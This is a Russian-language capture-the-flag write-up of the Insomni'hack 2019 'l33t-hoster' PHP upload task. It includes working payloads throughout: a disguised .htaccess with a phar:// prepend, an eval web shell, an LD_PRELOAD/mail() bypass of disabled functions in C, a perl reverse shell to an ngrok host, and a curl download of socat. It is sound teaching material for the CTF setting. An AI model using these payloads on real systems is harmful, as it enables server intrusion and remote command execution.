Web task l33t-hoster
Разбор веб-таска с прошедших соревнований Insomni'hack teaser 2019.
Ниже предоставлено совместное решение таска от @drakylar, @BronzeBee и @Kirrik.
Дисклеймер:
Авторы не несут ответственности за ваше душевное равновесие, после прочтения этого райтапа.
(мы знаем, что можно было решить проще:)
(мы знаем, что можно было решить проще:)
Описание задания.
You can host your l33t pictures here. (URL: http://35.246.234.136/ ).
Переходим по ссылке и наблюдаем божественный дезигн:
По кнопке "files" мы переходим по адресу /images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/ и наблюдаем пустую директорию:
Попробуем загрузить изображение (PNG):
У меня высветилась странная ошибка (у вас может тоже появиться другая ошибка). Значит, нам надо узнать больше о логике работы скрипта!
Правая кнопка -> Исходный код страницы:
<h3>Your <a href=images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/>files</a>:</h3><ul></ul>
<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" name=upload>
</form>
<!-- /?source -->
Замечаем странную последнюю строку. Переходим по /?source и получаем исходники index.php.
Сразу скажу (пока вы не убежали от такого количества символов) после код целиком мы разберем его по частям:
<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__));
session_start();
if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
mkdir($userdir);
}
$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);
if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}
$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);
if (empty($parts[0])) {
array_shift($parts);
}
if (count($parts) === 0) {
die("lol filename is empty");
}
if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}
$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}
if (!exif_imagetype($tmp_name)) {
die("not an image.");
}
$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}
$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}
echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";
?>
<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" name=upload>
</form>
<!-- /?source -->
Разберем код!
Создание сессии, прикрепление к ней пути до вашей директории (да-да, путь до папки с файлами будет изменяться в зависимости от сессии) и проверка существует ли эта директория (если не существует - создает):
session_start();
if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
mkdir($userdir);
}
В конце файла у нас идет вывод всех видимых файлов в нашей директории:
echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";
А теперь к основному!
Все последующее будет относиться к условию отправки POST запроса с изображением
if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}
. . .
Определение переменных (читайте комменты):
$tmp_name = $_FILES["image"]["tmp_name"]; //временное имя файла (от нас не зависит)
$name = $_FILES["image"]["name"]; //имя отправленного нами файла
$parts = explode(".", $name); //массив, получившийся после разделения имени файла разделительным символом - точкой.
$ext = array_pop($parts); // присваиваем и удаляем из массива последний элемент - расширение файла (все после последней точки)
На примере: отправили файл test.jpg. В итоге в $parts у нас ["test"], a $ext равен "jpg".
Если первый элемент получившегося массива пустой, то удаляем его.
if (empty($parts[0])) {
array_shift($parts);
}
И если, после удаления, у нас остался пустой массив, то выбрасывается исключение о пустом имени файла:
if (count($parts) === 0) {
die("lol filename is empty");
}
Если расширение файла (все после последней точки) у нас входит в массив запрещенных расширений -> посылаем исключение.
$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);
if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}
Читает файл, и если в нем есть подстрока " скрытый). Стоит добавить, что после изучения сигнатурного анализатора, оказалось, что файл будет восприниматься как корректное изображение, даже если в поток бинарных данных вставить подстроку
"\n#define test_width 1337\n#define test_height 1337\n
Пример:
А удостовериться, что наш файл был загружен успешно с нужным именем, легко: загрузите .htaccess с некорректным содержимым и перейдите в вашу директорию:
Вернемся к решению таска: мы научились загружать .htaccess с произвольным содержимым. Чтобы не тратить время, скажу, что у апача отключены почти все модули, которые могли нас заинтересовать (вплоть до mod_rewrite).
Нас может заинтересовать функция, которая позволяет запускать другие файлы, как php скрипты, но напоминаю вам, что мы не можем загружать любой файл, в котором есть php тег "<?".
У нас была возможность изменять часть значений из php.ini. Особенно заинтересовала переменная auto_prepend_file, и в случае, если наш файл определялся как php скрипт, то приписывает к нему другой файл, путь в котором указан в этой переменной.
И была идея, чтобы первый файл заканчивался на "<", а второй файл начинался на "?", что в итоге получится "<?". Но, чтобы не тратить ваше время, скажу, что это не прокатило и они подкачивались, как два отдельных файла.
Пример используемого ..htaccess файла (/var/www/html/ был взят как путь по-умолчанию):
#define test_width 1337
#define test_height 1337
AddType application/x-httpd-php lol #добавили пхп расширение .lol
php_value auto_prepend_file "/var/www/html/images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/test1.lol"
Но этим мы могли читать локальные файлы. Пример чтения /etc/passwd:
#define test_width 1337
#define test_height 1337
AddType application/x-httpd-php lol
php_value auto_prepend_file "/etc/passwd"
Но это нам не сильно помогло.
После некоторых практических опытов оказалось, что файл из переменной не просто приписывался, но и запускался. Мы попробовали использовать в переменной php wrappers и...
#define test_width 1337
#define test_height 1337
AddType application/x-httpd-php lol
php_value auto_prepend_file "php://filter/convert.base64-encode/resource=/etc/passwd" #файл вернется закодированный в base64
Сработало!
Перебрав много вариантов мы нашли подходящий нам - враппер phar://
(Сразу скажу, что прочитав другой райтап - https://ctftime.org/writeup/12922 , немного выругался, вспомнив о другом способе, но эта же статья о том, каким способом мы решили таск:)
Кратко о Phar - это исполняемые PHP архивы с поддержкой сжатия. Загрузив и подкачав один из них с враппером phar:// мы сможем запутить упакованный php файл.
Код для того, чтобы собрать архив у нас на компе:
<?php
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt",'<?php eval($_GET["c"]);?>');//добавляем файл test.txt с php кодом в архив
$phar->compressFiles(Phar::GZ); //сжимаем файл, чтобы спрятать от кода проверки php-теги
$phar->addFromString("test1.txt","\n#define width 1337\n#define height 1337\n"); //добавляем несжатый файл "test1.txt", чтобы обойти проверку на проверку на изображение (должна быть подстрока с #define).
$phar->stopBuffering();
Запускаем, как
php -dphar.readonly=0 23.php
и получаем файл phar.phar, который мы уже без проблем можем загрузить на сервер :
Отправим его как phar.lol и подкачаем следующим .htaccess файлом:
#define test_width 1337
#define test_height 1337
AddType application/x-httpd-php lol
php_value auto_prepend_file "phar:///var/www/html/images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/phar.lol/test.txt"
#включим еще вывод всех ошибок
php_flag display_errors on
После чего можем перейти на любой .lol файл (наше php расширение).
У меня ссылка выглядит, как http://35.246.234.136/images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/test.lol :
Наш код обработался! Добавим GET переменную "c" с phpinfo ( http://35.246.234.136/images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/test.lol?c=phpinfo(); ):
Работает! Переходим на новый уровень эксплуатации!
Сразу обратим внимание на список запрещенных функций:
Могу сказать только одно:
После того, как был закачен нормальный шелл (в моем случае WSO - опционально, способы загрузки зависят от вашей фантазии), начинаем искать флаг в системе. И находим в корне системы два файла (последние две строки):
Да-да, есть два файла: flag (скорее всего сам флаг, доступен на чтение только админу) и get_flag (suid бинарь, который всегда запускается от имени рута - админа).
Не будем углубляться в бинарь, для начала решим проблему с его запуском - все функции запуска системных команд заблокированы. Для этого к нам на помощь приходит функция mail (и статья https://github.com/tothi/ctfs/blob/master/alictf-2016/homework/README.md ). Суть хака заключается в следующем: мы закачиваем на сервер нашу скомпилированную библиотеку hack.so, указываем с помощью php функции putenv переменную окружения LD_PRELOAD=(путь до hack.so) и запускаем функцию mail(), которая в свою очереть вызывет функцию geteuid() из нашего бинаря!
hack.с:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
//функция принимает строку и помещает вывод в /tmp/output.txt
void payload(char *cmd) {
char buf[512];
strcpy(buf, cmd);
strcat(buf, " > /tmp/output.txt");
system(buf);
}
//вызываемая функция
int geteuid() {
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
//берет значение переменной окружения _runcmd и запускает как команду
if ((cmd = getenv("_runcmd")) != NULL) {
payload(cmd);
}
return 1;
}
Скомпилим его командой
gcc -Wall -fPIC -shared -o hack.so hack.c -ldl
и отправим на сервер файл hack.so.
Далее отправим на сервер php файл bypass.php:
<?php
//меняем переменную окружения на путь до нашего файла
$r1 = putenv("LD_PRELOAD=/var/www/html/images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/hack.so");
echo "putenv: $r1 <br>";
//заменяем переменную окружения _runcmd на нашу команду
$cmd = $_GET['cmd'];
$r2 = putenv("_runcmd=$cmd");
echo "putenv: $r2 <br>";
//запускаем функцию mail и наш бинарь
$r3 = mail("a@example.com", "", "", "");
echo "mail: $r3 <br>";
//читаем вывод работы команды
echo file_get_contents("/tmp/output.txt");
?>
И тестируем:
Сработало!
Делаем бекконнект (сервер подключается к нашему socket-серверу, считывает ввод, выполняет его как команду и возвращает вывод на сервер) используя perl:
команда:
perl -e 'use Socket;$i="0.tcp.ngrok.io";$p=19028;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash");};
Весь HTTP запрос:
GET /images/83aa474385ecc5a8ebacdc6a430b8f8b461a4e51/bypass.php?cmd=perl+-e+'use+Socket%3b$i%3d"0.tcp.ngrok.io"%3b$p%3d19028%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/bash")%3b}%3b' HTTP/1.1
Host: 35.246.234.136
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: 36d0e48e20bd2b60aa0c913cc37e01d1key=07029b24e495f6afa5a16e1724f72f55; 36d0e48e20bd2b60aa0c913cc37e01d1=21232f297a57a5a743894a0e4a801fc3; PHPSESSID=h57juv9ejn48smr2v8rpg74t4r
Upgrade-Insecure-Requests: 1
Не забывайте поднять сокет-сервер и поменять на ваш ip и port.
Пример полученной сессии:
Теперь вернемся к файлу get_flag.
Скачав файл и запустив, понимаем, что перед нами каптча и очень мало времени на ее решение:
Любопытным значение таймера можно было узнать - 10 мс:
Вручную даже с бекконнектом невозможно так быстро вбить каптчу, значит нужно это автоматизировать!
Изначально планировалось следующее: скачать на сервер socat, запустить socket сервис который будет подключаться к нам и сразу же предоставит доступ для общения с файлом get_flag. А мы в свою очередь на питоне запрогаем socket-сервер, который будет при подключении получать числа, суммировать их и возвращать результат.
Опять мимо - скорости интернета не хватает для того, чтобы решить этот таск удаленно. А что, если решить его локально? Как ни бредово это звучало, но мы можем попробовать запустить сокет сервер с get_flag локально на определенном порту и локально запустить php скрипт, который будет подключаться к данному socket-серверу, решать каптчу и получать флаг! Попробуем:))
#работать будем в нашей папке на веб-сервере
#скачиваем бинарь
curl https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat > socat
#добавляем права на запуск
chmod +x socat
#протестируем, запустится ли
./socat
Результат:
Работает!
Запустим socat сервер для бинаря /get_flag на порту 2323:
./socat TCP-LISTEN:2323,reuseaddr,fork EXEC:"/get_flag"
Теперь пишем PHP скрипт для решения каптчи:
sock.php:
<?php
//подключаемся к локально созданному сервису на порту 2323
$fp = fsockopen("127.0.0.1", 2323, $errno, $errstr, 30);
$ans = 0;
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
var_dump(fgets($fp, 128000));
//записываем математический пример в $math
//и приводим его к виду "$ans = (пример);"
$math = str_replace("\r","",str_replace("\n", "", '$ans = '. fgets($fp, 128) . ';'));
var_dump($math);
//выполняем строку $math и смотрим на переменную $ans
eval($math);
var_dump($ans);
//отправляем ответ === $ans
fwrite($fp, strval($ans) ."\n");
//читаем флаг
var_dump(fread($fp, 128000));
var_dump($errstr);
var_dump(fgets($fp, 128));
fclose($fp);
}
?>
Загружаем и запускаем:
И..
Ничего не произошло.
Немного изучив бинарь, оказывается, что путь до открываемого файла (flag) был относительным. Поэтому нам надо в нашей директории создать символьную ссылку на корневой файл flag для корректного открытия:
ln -s /flag flag
Запустим sock.php еще раз!
И мы получаем долгожданный флаг!
INS{l33t_l33t_l33t_ich_hab_d1ch_li3b}
P.S. Очень интересное задание, респект авторам.
P.P.S. Критика райтапа приветствуется (комменты или vk.com/drakylar).
- Автор: drakylar
- Комментарии: 0
- Просмотры: 20278